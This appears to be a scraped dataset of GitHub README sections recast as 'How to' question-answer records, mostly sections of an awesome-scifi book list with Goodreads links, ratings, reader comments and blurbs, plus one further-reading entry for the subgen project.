{"id": "gh_4db57178ee45", "question": "How to: Additional reading:", "question_body": "About McCloudS/subgen", "answer": "* https://github.com/openai/whisper (Original OpenAI project)\n* https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes (2 letter subtitle codes)", "tags": ["McCloudS"], "source": "github_gists", "category": "McCloudS", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1166, "answer_score": 10, "has_code": false, "url": "https://github.com/McCloudS/subgen", "collected_at": "2026-01-17T12:56:15.747170"}
{"id": "gh_fce06c2a2a38", "question": "How to: Science Fiction", "question_body": "About sindresorhus/awesome-scifi", "answer": "#### [Accelerando](https://www.goodreads.com/book/show/17863.Accelerando) (2005) _by [Charles Stross](https://en.wikipedia.org/wiki/Charles_Stross)_ [3.9]\n\nAccelerando is an excellent exploration of Posthumanism. It's my go to recommendation for people wanting to read about that stuff. - [@erbridge](https://github.com/erbridge)\n\nIt's also worth mentioning that [the ebook is available for free in a variety of formats on Stross's website](https://www.antipope.org/charlie/blog-static/fiction/accelerando/accelerando-intro.html). - [@AlexKeyes](https://github.com/alex-keyes)\nDescription\n> The Singularity. It is the era of the posthuman. Artificial intelligences have surpassed the limits of human intellect. Biotechnological beings have rendered people all but extinct. Molecular nanotechnology runs rampant, replicating and reprogramming at will. Contact with extraterrestrial life grows more imminent with each new day.\n  >\n  > Struggling to survive and thrive in this accelerated world are three generations of the Macx clan: Manfred, an entrepreneur dealing in intelligence amplification technology whose mind is divided between his physical environment and the Internet; his daughter, Amber, on the run from her domineering mother, seeking her fortune in the outer system as an indentured astronaut; and Sirhan, Amber's son, who finds his destiny linked to the fate of all of humanity.\n  >\n  > For something is systemically dismantling the nine planets of the solar system. Something beyond human comprehension. Something that has no use for biological life in any form.\n#### [Babel-17](https://www.goodreads.com/book/show/1199688.Babel_17) (1966) _by [Samuel R. Delany](https://en.wikipedia.org/wiki/Samuel_R._Delany)_ [3.8]\n\nThis intense linguistic thriller will change the way you think about language. - [@helderroem](https://github.com/helderroem)\nDescription\n> Babel-17 is all about the power of language. Humanity, which has spread throughout the universe, is involved in a war with the Invaders, who have been covertly assassinating officials and sabotaging spaceships. The only clues humanity has to go on are strange alien messages that have been intercepted in space. Poet and linguist Rydra Wong is determined to understand the language and stop the alien threat.\n#### [Barsoom series](https://www.goodreads.com/series/43942-barsoom) (1912-1927) _by [Edgar Rice Burroughs](https://en.wikipedia.org/wiki/Edgar_Rice_Burroughs)_ [3.8] 🌟\n\nNow more than a century old, has that unique writing style you can only find in adventure classics. - [@uraimo](https://github.com/uraimo)\n\nBooks:\n\n- [A Princess of Mars](https://www.goodreads.com/book/show/40395.A_Princess_of_Mars) [3.8]\n- [The Gods of Mars](https://www.goodreads.com/book/show/841973.The_Gods_of_Mars) [3.8]\n- [The Warlord of Mars](https://www.goodreads.com/book/show/40379.The_Warlord_of_Mars) [3.8]\n- [Thuvia, Maid of Mars](https://www.goodreads.com/book/show/40387.Thuvia_Maid_of_Mars) [3.7]\n- [The Chessmen of Mars](https://www.goodreads.com/book/show/40378.The_Chessmen_of_Mars) [3.7]\n- [The Master Mind of Mars](https://www.goodreads.com/book/show/40385.The_Master_Mind_of_Mars) [3.8]\n- [A Fighting Man of Mars](https://www.goodreads.com/book/show/40386.A_Fighting_Man_of_Mars) [3.8]\n- [Swords of Mars](https://www.goodreads.com/book/show/40376.Swords_of_Mars) [4.0]\n- [Synthetic Men of Mars](https://www.goodreads.com/book/show/40384.Synthetic_Men_of_Mars) [3.8]\n- [Llana of Gathol](https://www.goodreads.com/book/show/215954.Llana_of_Gathol) [3.7]\n- [John Carter of Mars](https://www.goodreads.com/book/show/40388.John_Carter_of_Mars) [3.8]\nDescription\n> Barsoom is planet Mars from American Edgar Rice Burroughs. First serialized as Under the Moons of Mars in 1912, published as A Princess of Mars in 1917. Dying Mars was based on outdated scientific ideas of canals. The savage, frontier world has honor, noble sacrifice and constant struggle, where martial prowess is paramount and races fight over dwindling resources.\n#### [Bobiverse Series](https://www.goodreads.com/book/show/32109569-we-are-legion-we-are-bob) (2016) _by [Dennis E. Taylor](https://www.goodreads.com/author/show/12130438.Dennis_E_Taylor)_ [4.35]\n\nLike Accelerando, this series is an excellent exploration of posthumanism. It also has themes of space exploration, references to various other series, and is all around a great amount of fun to read. It's also free if you have kindle unlimited. - [@AlexKeyes](https://github.com/alex-keyes)\nDescription\n> Bob Johansson has just sold his software company and is looking forward to a life of leisure. There are places to go, books to read, and movies to watch. So it's a little unfair when he gets himself killed crossing the street.\n  >\n  > Bob wakes up a century later to find that corpsicles have been declared to be", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4759, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome-scifi", "collected_at": "2026-01-17T12:56:21.712272"}
{"id": "gh_2c980d82995e", "question": "How to: Hard Science Fiction", "question_body": "About sindresorhus/awesome-scifi", "answer": "_Novels which place an emphasis on scientific accuracy and/or technical detail; where the science itself is a central topic._\n\n#### [A Deepness in the Sky](https://www.goodreads.com/book/show/226004.A_Deepness_in_the_Sky) (2000) _by [Vernor Vinge](https://en.wikipedia.org/wiki/Vernor_Vinge)_ [4.32]\n\nThough written after _A Fire upon the Deep_, _A Deepness in the Sky_ is a prequel to Vinge's earlier novel, and shares one of its protagonists: the Qeng Ho trader Pham Nuwen. Though I read _A Fire upon the Deep_ once and enjoyed it, I've read _A Deepness in the Sky_ at least half a dozen times, and consider it my favorite hard sci-fi novel, period. Vernor Vinge was one of the first people to propose the idea of the technological singularity, and the near-future novels he wrote a decade or more ago have revealed themselves to be almost eerily prescient. - [@isochronous](https://github.com/isochronous)\nDescription\n> After thousands of years searching, humans stand on the verge of first contact with an alien race. Two human groups: the Qeng Ho, a culture of free traders, and the Emergents, a ruthless society based on the technological enslavement of minds.\n  >\n  > The group that opens trade with the aliens will reap unimaginable riches. But first, both groups must wait at the aliens' very doorstep for their strange star to relight and for their planet to reawaken, as it does every two hundred and fifty years....\n#### [A Fire Upon the Deep](https://www.goodreads.com/book/show/77711.A_Fire_Upon_the_Deep) (1992) _by [Vernor Vinge](https://en.wikipedia.org/wiki/Vernor_Vinge)_ [4.1]\nDescription\n> _A Fire upon the Deep_ is the big, breakout book that fulfills the promise of Vinge’s career to date: a gripping tale of galactic war told on a cosmic scale.\n  >\n  > Thousands of years hence, many races inhabit a universe where a mind’s potential is determined by its location in space, from superintelligent entities in the Transcend, to the limited minds of the Unthinking Depths, where only simple creatures and technology can function. Nobody knows what strange force partitioned space into these “regions of thought,” but when the warring Straumli realm use an ancient Transcendent artifact as a weapon, they unwittingly unleash an awesome power that destroys thousands of worlds and enslaves all natural and artificial intelligence.\n  >\n  > Fleeing the threat, a family of scientists, including two children, are taken captive by the Tines, an alien race with a harsh medieval culture, and used as pawns in a ruthless power struggle. A rescue mission, not entirely composed of humans, must rescue the children—and a secret that may save the rest of interstellar civilization.\n#### [Aurora](https://www.goodreads.com/book/show/23197269-aurora) (2015) _by [Kim Stanley Robinson](https://en.wikipedia.org/wiki/Kim_Stanley_Robinson)_ [3.7]\n\nThis was, I thought, an emotional read. I really connected with the characters and their struggle. It was interesting seeing the ways they overcame each obstacle despite overwhelming odds. It also shows what could happen when desperate people are left to fend for themselves without a governing force. - [@davidmerrique](https://github.com/davidmerrique)\nDescription\n> A major new novel from one of science fiction's most powerful voices, AURORA tells the incredible story of our first voyage beyond the solar system.\n  >\n  > Brilliantly imagined and beautifully told, it is the work of a writer at the height of his powers.\n  >\n  > Our voyage from Earth began generations ago.\n  >\n  > Now, we approach our new home.\n  >\n  > AURORA.\n#### [Blindsight (Firefall #1)](https://www.goodreads.com/book/show/48484.Blindsight) (2006) _by [Peter Watts](https://en.wikipedia.org/wiki/Peter_Watts_%28author%29)_ [4.0]\n\nA cast of strange and wonderful characters. Overarching themes on consciousness, transhumanism, humanity and first contact. This book has everything. - [@davidmerrique](https://github.com/davidmerrique)\nDescription\n> It’s been two months since a myriad of alien objects clenched about the Earth, screaming as they burned. The heavens have been silent since—until a derelict space probe hears whispers from a distant comet. Something talks out there: but not to us. Who to send to meet the alien, when the alien doesn’t want to meet? Send a linguist with multiple-personality disorder, and a biologist so spliced to machinery he can’t feel his own flesh. Send a pacifist warrior, and a vampire recalled from the grave by the voodoo of paleogenetics. Send a man with half his mind gone since childhood. Send them to the edge of the solar system, praying you can trust such freaks and monsters with the fate of a world. You fear they may be more alien than the thing they’ve been sent to find—but you’d give anything for that to be true, if you knew what was waitin", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4759, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome-scifi", "collected_at": "2026-01-17T12:56:21.712384"}
{"id": "gh_8616ec28486d", "question": "How to: Space Opera", "question_body": "About sindresorhus/awesome-scifi", "answer": "_Novels which emphasize adventure, set mainly or entirely in outer space, usually involving conflict between opponents possessing advanced abilities, weapons, and other technology._\n\n#### [Ancillary Justice](https://www.goodreads.com/book/show/17333324-ancillary-justice) (2013) _by [Ann Leckie](https://en.wikipedia.org/wiki/Ann_Leckie)_ [4.0]\n\n_(And all the following [Ancillary Sword](https://www.goodreads.com/book/show/20706284-ancillary-sword))_\nDescription\n> On a remote, icy planet, the soldier known as Breq is drawing closer to completing her quest.\n  >\n  > Once, she was the Justice of Toren—a colossal starship with an artificial intelligence linking thousands of soldiers in the service of the Radch, the empire that conquered the galaxy.\n  >\n  > Now, an act of treachery has ripped it all away, leaving her with one fragile human body, unanswered questions, and a burning desire for vengeance.\n#### [Battlefield Earth](https://www.goodreads.com/book/show/769658.Battlefield_Earth) (1982) _by [L. Ron Hubbard](https://en.wikipedia.org/wiki/L._Ron_Hubbard)_ [3.4]\nDescription\n> Earth has been dominated for 1,000 years by an alien invader—and man is an endangered species. From the handful of surviving humans a courageous leader emerges—Jonnie Goodboy Tyler, who challenges the invincible might of the alien Psychlo empire in a battle of epic scale, danger and intrigue with the fate of the Earth and of the universe in the tenuous balance.\n#### [Commonwealth Saga](https://www.goodreads.com/series/40740-commonwealth-saga) (2004, 2005) _by [Peter F. Hamilton](https://en.wikipedia.org/wiki/Peter_F._Hamilton)_ [4.2]\n\n_(And the sequels in the [Void Trilogy](https://www.goodreads.com/series/43520-void))_\nDescription\n> The year is 2380. The Intersolar Commonwealth, a sphere of stars some four hundred light-years in diameter, contains more than six hundred worlds, interconnected by a web of transport “tunnels” known as wormholes. At the farthest edge of the Commonwealth, astronomer Dudley Bose observes the impossible: Over one thousand light-years away, a star… vanishes. It does not go supernova. It does not collapse into a black hole. It simply disappears. Since the location is too distant to reach by wormhole, a faster-than-light starship, the Second Chance, is dispatched to learn what has occurred and whether it represents a threat. In command is Wilson Kime, a five-time rejuvenated ex-NASA pilot whose glory days are centuries behind him.\n  >\n  > Opposed to the mission are the Guardians of Selfhood, a cult that believes the human race is being manipulated by an alien entity they call the Starflyer. Bradley Johansson, leader of the Guardians, warns of sabotage, fearing the Starflyer means to use the starship’s mission for its own ends.\n  >\n  > Pursued by a Commonwealth special agent convinced the Guardians are crazy but dangerous, Johansson flees. But the danger is not averted. Aboard the Second Chance, Kime wonders if his crew has been infiltrated. Soon enough, he will have other worries. A thousand light-years away, something truly incredible is waiting: a deadly discovery whose unleashing will threaten to destroy the Commonwealth… and humanity itself. Could it be that Johansson was right?\n#### [Fallen Dragon](https://www.goodreads.com/book/show/45258.Fallen_Dragon) (2001) _by [Peter F. Hamilton](https://en.wikipedia.org/wiki/Peter_F._Hamilton)_ [4.0]\nDescription\n> Deploying invulnerable twenty-fifth-century soldiers called Skins, Zantiu-Braun’s corporate starships loot entire planets. But as the Skins invade bucolic Thallspring, Z-B’s strategy is about to go awry, all because of: Sgt. Lawrence Newton, a dreamer whose twenty years as a Skin have destroyed his hopes and desires; Denise Ebourn, a school teacher and resistance leader whose guerrilla tactics rival those of Che Guevara and George Washington and Simon Roderick, the director who serves Z-B with a dedication that not even he himself can understand. Grimly determined to steal, or protect, a mysterious treasure, the three players engage in a private war that will explode into unimaginable quests for personal grace… or galactic domination.\n#### [House of Suns](https://www.goodreads.com/book/show/1126719.House_of_Suns) (2008) _by [Alastair Reynolds](https://en.wikipedia.org/wiki/Alastair_Reynolds)_ [4.1]\nDescription\n> Six million years ago, at the dawn of the star-faring era, Abigail Gentian fractured herself into a thousand male and female clones, which she called shatterlings. But now, someone is eliminating the Gentian line. Campion and Purslane—two shatterlings who have fallen in love and shared forbidden experiences—must determine exactly who, or what, their enemy is, before they are wiped out of existence.\n#### [Hyperion](https:/", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4759, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome-scifi", "collected_at": "2026-01-17T12:56:21.712515"}
{"id": "gh_ad00899c3893", "question": "How to: Post Apocalyptic", "question_body": "About sindresorhus/awesome-scifi", "answer": "_Novels concerning the end of civilization, usually based in a future resulting from a catastrophe of some sort, where only scattered elements of technology remain._\n\n#### [A Canticle for Leibowitz](https://www.goodreads.com/book/show/164154.A_Canticle_for_Leibowitz) (1959) _by [Walter M. Miller, Jr.](https://en.wikipedia.org/wiki/Walter_M._Miller,_Jr.)_ [4.0]\n\nThis has a particularly arid and inspired view of humanity after a nuclear holocaust. The discovery of small things and their new importance down the line is well done here. - [@RichardLitt](https://github.com/RichardLitt)\nDescription\n> Winner of the 1961 Hugo Award for Best Novel and widely considered one of the most accomplished, powerful, and enduring classics of modern speculative fiction, Walter M. Miller, Jr.’s _A Canticle for Leibowitz_ is a true landmark of twentieth-century literature—a chilling and still provocative look at a post-apocalyptic future.\n  >\n  > In a nightmarish ruined world slowly awakening to the light after sleeping in darkness, the infant rediscoveries of science are secretly nourished by cloistered monks dedicated to the study and preservation of the relics and writings of the blessed Saint Isaac Leibowitz. From here the story spans centuries of ignorance, violence, and barbarism, viewing through a sharp, satirical eye the relentless progression of a human race damned by its inherent humanness to recelebrate its grand foibles and repeat its grievous mistakes. Seriously funny, stunning, and tragic, eternally fresh, imaginative, and altogether remarkable, _A Canticle for Leibowitz_ retains its ability to enthrall and amaze. It is now, as it always has been, a masterpiece.\n#### [Borne](https://www.goodreads.com/book/show/31451186-borne) (2017) _by [Jeff VanderMeer](https://en.wikipedia.org/wiki/Jeff_VanderMeer)_ [4.0]\n\nA weird, beautiful book, reminiscent of Lovecraft, Stephen King, and Brautigan's _Watermelon Sugar_ all wrapped up in a post-apocalyptic landscape populated by poisonous fire-breathing bears and deprecated biotech. This book is a survival story - how to hang on to the edges of civilization, and what that means for humanity. It also questions identity, love, mothering, and meaning itself. Some of the passages were astoundingly beautiful, and as much as the world would be an awful place to live in, I found myself missing it when I finished. - [@RichardLitt](https://github.com/RichardLitt)\nDescription\n> In the ruins of a nameless city of the future, ruled by a giant grizzly called Mord, a woman named Rachel lives as a scavenger, collecting genetically engineered organisms and experiments created by the biotech firm the Company. Hidden in Mord's fur, she finds a sea anemone shaped creature she calls Borne.\n#### [Do Androids Dream of Electric Sheep?](https://www.goodreads.com/book/show/7083.Do_Androids_Dream_of_Electric_Sheep_) (1968) _by [Philip K. Dick](https://en.wikipedia.org/wiki/Philip_K._Dick)_ [4.1] 🌟 🔥\nDescription\n> A final, apocalyptic, world war has killed millions, driving entire species into extinction and sending the majority of mankind off-planet. Those who remain, venerate all remaining examples of life, and owning an animal of your own is both a symbol of status and a necessity. For those who can’t afford an authentic animal, companies build incredibly realistic simulacrae: horses, birds, cats, sheep… even humans.\n#### [Earth Abides](https://www.goodreads.com/book/show/93269.Earth_Abides) (1949) _by [George R. Stewart](https://en.wikipedia.org/wiki/George_R._Stewart)_ [3.9]\n\nHighly plausible outcome after a near-extinction event, the human race will hopelessly go down the path of least resistance. Great and somewhat disheartening ending. - [@uraimo](https://github.com/uraimo)\nDescription\n> A disease of unparalleled destructive force has sprung up almost simultaneously in every corner of the globe, all but destroying the human race. One survivor, strangely immune to the effects of the epidemic, ventures forward to experience a world without man. What he ultimately discovers will prove far more astonishing than anything he'd either dreaded or hoped for.\n#### [Riddley Walker](https://www.goodreads.com/book/show/776573.Riddley_Walker) (1980) _by [Russell Hoban](https://en.wikipedia.org/wiki/Russell_Hoban)_ [4.1]\n\nI traveled 500 miles from Edinburgh to Kent just to go to the Canterbury Cathedral to see the painting that inspired this book. It is that good. It was hard for me to read as I normally speed read, and the invented language makes it slow going, but it sticks with you and the imagination of Hoban is uniquely vivid. - [@RichardLitt](https://github.com/RichardLitt)\nDescription\n> _Riddley Walker_ is a brilliant, unique, completely realized work of fiction. One reads it again a", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4759, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome-scifi", "collected_at": "2026-01-17T12:56:21.712590"}
{"id": "gh_d85c42d7db1a", "question": "How to: Military Science Fiction", "question_body": "About sindresorhus/awesome-scifi", "answer": "_Novels featuring the use use of technology, mainly weapons, for military purposes and principal characters that are members of a military organization involved in military activity; sometimes occurring in outer space or other planets._\n\n#### [Armor](https://www.goodreads.com/book/show/102327.Armor) (1984) _by [John Steakley](https://en.wikipedia.org/wiki/John_Steakley)_ [4.12]\n\nSteakley puts his readers inside the mind of an armored soldier who lives in constant fear of being torn apart by the enemy he was sent to fight. The book plays brilliantly on our innate fear of bugs and describes the visceral terror of fighting a nearly unstoppable enemy. - [@phmullins](https://github.com/phmullins)\nDescription\n> Felix is an Earth soldier, encased in special body armor designed to withstand Earth's most implacable enemy-a bioengineered, insectoid alien horde. But Felix is also equipped with internal mechanisms that enable him, and his fellow soldiers, to survive battle situations that would destroy a man's mind. This is a remarkable novel of the horror, the courage, and the aftermath of combat--and how the strength of the human spirit can be the greatest armor of all.\n#### [The Aurora Cycle Series](https://www.goodreads.com/series/179394-the-aurora-cycle) (2019-2021) _by [Amie Kaufman](https://en.wikipedia.org/wiki/Amie_Kaufman)_ [4.2]\n\nThis novel starts as a simple rescue by a cadet that led to the entire universe fighting an epic battle they have no hope of winning.\n\nWhat makes this novel awesome is the build up to the final epic battle. It starts as a small team of ragtags who were framed for a crime and later find out that the least of their worry is the intergalactic military but rather an incomprehensible galaxy ending force whose sole existence is to added all living things to its hive. - [@sammy4gh](https://github.com/sammy4gh)\nDescription\n> The year is 2380, and the graduating cadets of Aurora Academy are being assigned their first missions. Star pupil Tyler Jones is ready to recruit the squad of his dreams, but his own boneheaded heroism sees him stuck with the dregs nobody else in the Academy would touch…\n  >\n  > A cocky diplomat with a black belt in sarcasm, A sociopath scientist with a fondness for shooting her bunkmates ,A smart-ass techwiz with the galaxy’s biggest chip on his shoulder, An alien warrior with anger management issues ,A tomboy pilot who’s totally not into him, in case you were wondering\n  >\n  > And Ty’s squad isn’t even his biggest problem—that’d be Aurora Jie-Lin O’Malley, the girl he’s just rescued from interdimensional space. Trapped in cryo-sleep for two centuries, Auri is a girl out of time and out of her depth. But she could be the catalyst that starts a war millions of years in the making, and Tyler’s squad of losers, discipline-cases and misfits might just be the last hope for the entire galaxy.\n  >\n  > They're not the heroes we deserve. They're just the ones we could find. Nobody panic.\nBooks:\n\n- [Aurora Rising](https://www.goodreads.com/book/show/30075662-aurora-rising) [4.1]\n- [Aurora Burning](https://www.goodreads.com/book/show/40516960-aurora-burning) [4.3]\n- [Aurora's End](https://www.goodreads.com/book/show/40516976-aurora-s-end) [4.2]\n\n#### [Ender’s Game](https://www.goodreads.com/book/show/375802.Ender_s_Game) (1985) _by [Orson Scott Card](https://en.wikipedia.org/wiki/Orson_Scott_Card)_ [4.3] 🌟 🔥\n\nThis is a quick read, but it has a slow burn; the more times I read this book, and the more I think of it, the better it becomes. This book is one of the most strategically interesting books I have read. At every turn, you can feel Orson Scott Card manipulating you into seeing how brilliant Ender is. A masterpiece. - [@RichardLitt](https://github.com/RichardLitt)\n\nI’ve lost count of the amount of times I have read _Ender’s Game_. I generally read it around once a year, at least. It is part of a larger series, including _Speaker for the Dead_, and _Xenocide_ - follow-ups which build on _Ender’s Game_ and which are, in their own right, great books. _EG_ was originally just a short story, a kind of prequel to the themes spoken of in _Speaker for the Dead_. It shows Card’s talent that he was able to so fluently make it a stand-alone book.\n\nI love _Ender’s Game_. All things considered, this is not a book about emotional development, or about coming of age. It’s not about taking on the weight of the world. Rather, this is a book about strategy. More happens in the gaps between the pages than in the chapters themselves - taking the time to figure out how Ender worked out an advantage in a game room, and how you would have done it, is an incredibly rewarding experience. Every now and then, there is a wonderful feeling of ‘Damn, I wish I had done that! So smart.’ And, as Card notes in the prologue:\n\n> Fiction, because it is not about somebody who actually lived in the real world, always has", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4759, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome-scifi", "collected_at": "2026-01-17T12:56:21.712659"}
{"id": "gh_dbdbf49b0925", "question": "How to: Police Procedural Science Fiction", "question_body": "About sindresorhus/awesome-scifi", "answer": "#### [Lock In](https://www.goodreads.com/book/show/21418013-lock-in) (2014) _by [John Scalzi](https://en.wikipedia.org/wiki/John_Scalzi)_ [3.8]\nDescription\n> A novel of our near future, from one of the most popular authors in modern SF.\n  >\n  > Fifteen years from now, a new virus sweeps the globe. 95% of those afflicted experience nothing worse than fever and headaches. Four percent suffer acute meningitis, creating the largest medical crisis in history. And one percent find themselves “locked in”—fully awake and aware, but unable to move or respond to stimulus.\n  >\n  > One per cent doesn’t seem like a lot. But in the United States, that’s 1.7 million people “locked in”… including the President’s wife and daughter.\n  >\n  > Spurred by grief and the sheer magnitude of the suffering, America undertakes a massive scientific initiative. Nothing can restore the ability to control their own bodies to the locked in. But then two new technologies emerge. One is a virtual-reality environment, “The Agora,” in which the locked-in can interact with other humans, both locked-in and not. The other is the discovery that a few rare individuals have brains that are receptive to being controlled by others, meaning that from time to time, those who are locked in can “ride” these people and use their bodies as if they were their own.\n  >\n  > This skill is quickly regulated, licensed, bonded, and controlled. Nothing can go wrong. Certainly nobody would be tempted to misuse it, for murder, for political power, or worse…", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4759, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome-scifi", "collected_at": "2026-01-17T12:56:21.712677"}
{"id": "gh_2ec7a362b8c8", "question": "How to: Techno Thriller", "question_body": "About sindresorhus/awesome-scifi", "answer": "_Novels which draw from sci-fi, thrillers, spying, action and wars. Include lots of technical detail regarding the subject matter._\n\n#### [Cryptonomicon](https://www.goodreads.com/book/show/816.Cryptonomicon) (1999) _by [Neal Stephenson](https://en.wikipedia.org/wiki/Neal_Stephenson)_ [4.2]\nDescription\n> _Cryptonomicon_ zooms all over the world, careening conspiratorially back and forth between two time periods—World War II and the present. Our 1940s heroes are the brilliant mathematician Lawrence Waterhouse, cryptanalyst extraordinaire, and gung-ho, morphine-addicted marine Bobby Shaftoe. They’re part of Detachment 2702, an Allied group trying to break Axis communication codes while simultaneously preventing the enemy from figuring out that their codes have been broken. Their job boils down to layer upon layer of deception. Dr. Alan Turing is also a member of 2702, and he explains the unit’s strange workings to Waterhouse. “When we want to sink a convoy, we send out an observation plane first… Of course, to observe is not its real duty—we already know exactly where the convoy is. Its real duty is to be observed… Then, when we come round and sink them, the Germans will not find it suspicious.”\n  >\n  > All of this secrecy resonates in the present-day story line, in which the grandchildren of the WWII heroes—inimitable programming geek Randy Waterhouse and the lovely and powerful Amy Shaftoe—team up to help create an offshore data haven in Southeast Asia and maybe uncover some gold once destined for Nazi coffers. To top off the paranoiac tone of the book, the mysterious Enoch Root, key member of Detachment 2702 and the Societas Eruditorum, pops up with an unbreakable encryption scheme left over from WWII to befuddle the 1990s protagonists with conspiratorial ties.\n#### [Daemon](https://www.goodreads.com/series/49858-daemon) (2006, 2010) _by [Daniel Suárez](https://en.wikipedia.org/wiki/Daniel_Su%C3%A1rez)_ [4.2]\nDescription\n> Already an underground sensation, a high-tech thriller for the wireless age that explores the unthinkable consequences of a computer program running without human control—a daemon—designed to dismantle society and bring about a new world order.\n  \n  > Technology controls almost everything in our modern-day world, from remote entry on our cars to access to our homes, from the flight controls of our airplanes to the movements of the entire world economy. Thousands of autonomous computer programs, or daemons, make our networked world possible, running constantly in the background of our lives, trafficking e-mail, transferring money, and monitoring power grids. For the most part, daemons are benign, but the same can’t always be said for the people who design them.\n  >\n  > Matthew Sobol was a legendary computer game designer—the architect behind half-a-dozen popular online games. His premature death depressed both gamers and his company’s stock price. But Sobol’s fans aren’t the only ones to note his passing. When his obituary is posted online, a previously dormant daemon activates, initiating a chain of events intended to unravel the fabric of our hyper-efficient, interconnected world. With Sobol’s secrets buried along with him, and as new layers of his daemon are unleashed at every turn, it’s up to an unlikely alliance to decipher his intricate plans and wrest the world from the grasp of a nameless, faceless enemy—or learn to live in a society in which we are no longer in control…\n  >\n  > Computer technology expert Daniel Suarez blends haunting high-tech realism with gripping suspense in an authentic, complex thriller in the tradition of Michael Crichton, Neal Stephenson, and William Gibson.\n#### [Sphere](https://www.goodreads.com/book/show/455373.Sphere) (1987) _by [Michael Crichton](https://en.wikipedia.org/wiki/Michael_Crichton)_ [3.7] 🌟 🔥\n\nTwitter user: My favorite novel. Movie was worse than terrible.\nDescription\n> A group of American scientists are rushed to a huge vessel that has been discovered resting on the ocean floor in the middle of the South Pacific. What they find defines their imaginations and mocks their attempts at logical explanation. It is a spaceship of phenomenal dimensions, apparently, undamaged by its fall from the sky. And, most startling, it appears to be at least three hundred years old…", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4759, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome-scifi", "collected_at": "2026-01-17T12:56:21.712703"}
{"id": "gh_80558f6f88c3", "question": "How to: Speculative Fiction", "question_body": "About sindresorhus/awesome-scifi", "answer": "#### [Anathem](https://www.goodreads.com/book/show/2845024-anathem) (2008) _by [Neal Stephenson](https://en.wikipedia.org/wiki/Neal_Stephenson)_ [4.2]\nDescription\n> Fraa Erasmas is a young avout living in the Concent of Saunt Edhar, a sanctuary for mathematicians, scientists, and philosophers, protected from the corrupting influences of the outside “saecular” world by ancient stone, honored traditions, and complex rituals. Over the centuries, cities and governments have risen and fallen beyond the concent’s walls. Three times during history’s darkest epochs violence born of superstition and ignorance has invaded and devastated the cloistered mathic community. Yet the avout have always managed to adapt in the wake of catastrophe, becoming out of necessity even more austere and less dependent on technology and material things. And Erasmas has no fear of the outside—the Extramuros—for the last of the terrible times was long, long ago.\n  >\n  > Now, in celebration of the week-long, once-in-a-decade rite of Apert, the fraas and suurs prepare to venture beyond the concent’s gates—at the same time opening them wide to welcome the curious “extras” in. During his first Apert as a fraa, Erasmas eagerly anticipates reconnecting with the landmarks and family he hasn’t seen since he was “collected.” But before the week is out, both the existence he abandoned and the one he embraced will stand poised on the brink of cataclysmic change.\n  >\n  > Powerful unforeseen forces jeopardize the peaceful stability of mathic life and the established ennui of the Extramuros—a threat that only an unsteady alliance of saecular and avout can oppose—as, one by one, Erasmas and his colleagues, teachers, and friends are summoned forth from the safety of the concent in hopes of warding off global disaster. Suddenly burdened with a staggering responsibility, Erasmas finds himself a major player in a drama that will determine the future of his world—as he sets out on an extraordinary odyssey that will carry him to the most dangerous, inhospitable corners of the planet… and beyond.\n#### [Never Let Me Go](https://www.goodreads.com/book/show/6334.Never_Let_Me_Go) (2005) _by [Kazuo Ishiguro](https://www.goodreads.com/author/show/4280.Kazuo_Ishiguro)_ [3.8] 🔥\n\nA heartbreaking coming of age novel with a speculative, mysterious twist. Definitely a character-driven story. - [@sunrein](https://github.com/sunrein)\nDescription\n> As children, Kathy, Ruth, and Tommy were students at Hailsham, an exclusive boarding school secluded in the English countryside. It was a place of mercurial cliques and mysterious rules where teachers were constantly reminding their charges of how special they were. Now, years later, Kathy is a young woman. Ruth and Tommy have reentered her life, and for the first time she is beginning to look back at their shared past and understand just what it is that makes them special— and how that gift will shape the rest of their time together.\n#### [Stranger in a Strange Land](https://www.goodreads.com/book/show/350.Stranger_in_a_Strange_Land) (1961) _by [Robert A. Heinlein](https://en.wikipedia.org/wiki/Robert_A._Heinlein)_ [3.9] 🌟 🔥\nDescription\n> NAME: Valentine Michael Smith\n  > ANCESTRY: Human\n  > ORIGIN: Mars\n  >\n  > Here is Heinlein’s masterpiece—the brilliant spectacular and incredibly popular novel that grew from a cult favorite to a bestseller to a classic in a few short years. It is the story of Valentine Michael Smith, the man from Mars who taught humankind grokking and water-sharing. And love.\n#### [The End of Eternity](https://www.goodreads.com/book/show/509784.The_End_of_Eternity) (1955) _by [Isaac Asimov](https://en.wikipedia.org/wiki/Isaac_Asimov)_ [4.2]\nDescription\n> Andrew Harlan is an Eternal, a man whose job it is to range through past and present Centuries, monitoring and, where necessary, altering Time’s myriad cause-and-effect relationships. But when Harlan meets and falls for a non-Eternal woman, he seeks to use the awesome powers and techniques of the Eternals to twist time for his own purposes, so that he and his love can survive together.\n#### [The Shrinking Man](https://www.goodreads.com/book/show/33549.The_Shrinking_Man) (1956) _by [Richard Matheson](https://en.wikipedia.org/wiki/Richard_Matheson)_ [3.8] 🔥\n\nThis was pretty good; it's pretty obvious what it is about, and it reads predictably, but the ending is strong enough to make the entire book worth reading. - [@RichardLitt](https://github.com/RichardLitt)\nDescription\n> While on holiday, Scott Carey is exposed to a cloud of radioactive spray shortly after he accidentally ingests insecticide. The radioactivity acts as a catalyst for the bug spray, causing his body to shrink at a rate of approximately 